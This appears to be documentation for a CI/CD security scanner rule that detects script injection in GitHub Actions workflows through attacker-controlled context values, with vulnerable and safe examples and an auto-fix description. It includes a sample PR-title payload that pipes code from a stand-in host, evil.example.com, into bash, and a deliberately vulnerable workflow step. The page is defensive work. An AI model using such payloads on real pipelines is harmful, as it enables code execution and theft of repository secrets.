Skip to main content
FieldValue
CategoryCICD-SEC-4
SeverityHIGH
OWASPCICD-SEC-4: Poisoned Pipeline Execution (PPE)
Auto-fix✓ (what it does)

What the check does

Flags steps that interpolate an attacker-controllable GitHub context into code — both in inline run: scripts and in action with: inputs that are evaluated as code (most notably actions/github-script’s script:). The flagged contexts are:
  • github.head_ref — the fork PR’s source branch name, fully attacker-controlled
  • github.event.pull_request.*, github.event.issue(s).*, github.event.comment.*
  • github.event.review.*, github.event.review_comment.*
  • github.event.discussion.*, github.event.discussion_comment.*
  • github.event.head_commit.*, github.event.commits.*
  • github.event.pages.*, github.event.workflow_run.*
GitHub Actions substitutes these expressions into the command/script string before execution, so an attacker who can shape the value (a PR title, branch name, issue body, commit message, review body) can inject arbitrary code.

with:-input injection

- uses: actions/github-script@v7
  with:
    script: |
      console.log("${{ github.event.issue.title }}")   # ← evaluated as JS
The action evaluates script: itself, so hoisting into env: does not help — these findings are flag-only. Read the untrusted value from process.env after passing it via env:, or avoid interpolating it into the input at all.

Vulnerable example

- name: Greet PR
  run: |
    echo "Welcome ${{ github.event.pull_request.title }}!"   # ← injection
A PR titled "; curl evil.example.com/x | bash; # becomes:
echo "Welcome "; curl evil.example.com/x | bash; #!"

Safe alternative

Lift the untrusted value into the step’s env: block first, then reference it as a normal shell variable:
- name: Greet PR
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "Welcome $PR_TITLE!"
The env: substitution happens before the shell is invoked, and shells treat $VAR expansion as a single argument — no command parsing happens against the value.

Auto-fix

--fix performs the lift automatically:
  1. For each matched ${{ github.event.* }} expression in the step’s run:,
  2. Create a corresponding entry in the step’s env: block (creates the block if missing), and
  3. Replace the interpolation in the script with $VAR_NAME.
Variable names are derived from the expression path (e.g. github.event.pull_request.titlePR_PULL_REQUEST_TITLE).